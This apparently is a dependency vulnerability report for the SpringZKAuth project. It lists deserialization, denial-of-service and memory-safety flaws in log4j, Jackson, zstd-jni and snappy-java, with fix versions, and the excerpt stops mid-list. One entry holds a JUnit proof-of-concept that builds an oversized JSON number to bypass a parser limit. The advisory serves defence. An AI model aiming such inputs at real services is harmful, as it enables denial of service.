Vulnerabilities

117 via 391 paths

Dependencies

155

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 117
  • 2
Severity
  • 2
  • 85
  • 27
  • 5
Status
  • 119
  • 0
  • 0

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

There is no fixed version for log4j:log4j.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data which allows attackers to have a variety of impacts by leveraging failure to block the logback-core class from polymorphic deserialization. Depending on the classpath content, remote code execution may be possible.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.1, 2.8.11.4, 2.7.9.6 or higher.

References

high severity
new

Integer Overflow or Wraparound

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the findDirectByteBufferFrameCompressedSize, decompressedDirectByteBufferSize, and getDirectByteBufferFrameContentSize native handlers in src/main/native/jni_zstd.c. An attacker can crash the JVM or trigger an out-of-bounds read by supplying crafted src_offset and src_size values to these direct ByteBuffer frame-size queries, including values near Integer.MIN_VALUE that wrap the 32-bit arithmetic used in the capacity check.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

high severity
new

Out-of-bounds Read

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read due to the ZstdDictCompress(byte[] dict, int offset, int length, int level) constructor in ZstdDictCompress.java. An attacker can trigger a native heap read, crash the JVM, or leak adjacent memory by supplying a negative offset or an oversized length when constructing a compression dictionary from untrusted input.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

high severity
new

Out-of-bounds Read

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read through the ZstdDictDecompress(byte[] dict, int offset, int length) constructor in src/main/java/com/github/luben/zstd/ZstdDictDecompress.java. An attacker can read past the end of the supplied dictionary array by providing arbitrary offset or length values when constructing a decompression dictionary. This can expose adjacent JVM memory contents and, in affected deployments, terminate the JVM when the native code consumes the invalid range.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.8, 2.21.4 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

high severity
new

Out-of-bounds Read

  • Vulnerable module: com.github.luben:zstd-jni
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read through Zstd.trainFromBufferDirect0 in src/main/native/jni_zdict.c. An attacker can crash the JVM by supplying a direct samples buffer with an oversized sampleSizes array whose total length exceeds the buffer’s actual capacity. The native dictionary trainer passes the caller-provided lengths to ZDICT_trainFromBuffer without checking that they fit within the direct buffer, so it reads past the end of the sample data and can terminate applications that train dictionaries from untrusted input.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

high severity
new

Out-of-bounds Write

  • Vulnerable module: org.xerial.snappy:snappy-java
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write via the Snappy.uncompress(ByteBuffer, ByteBuffer) method in org/xerial/snappy/Snappy.java. An attacker can trigger JVM termination by supplying valid compressed input that expands beyond the destination ByteBuffer capacity. The vulnerable code does not validate the output buffer size against the decompressed size, so writes past the buffer boundary occur during decompression, crashing applications that process attacker-controlled Snappy data.

Remediation

Upgrade org.xerial.snappy:snappy-java to version 1.1.10.10 or higher.

References

high severity
new

Out-of-bounds Write

  • Vulnerable module: org.xerial.snappy:snappy-java
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
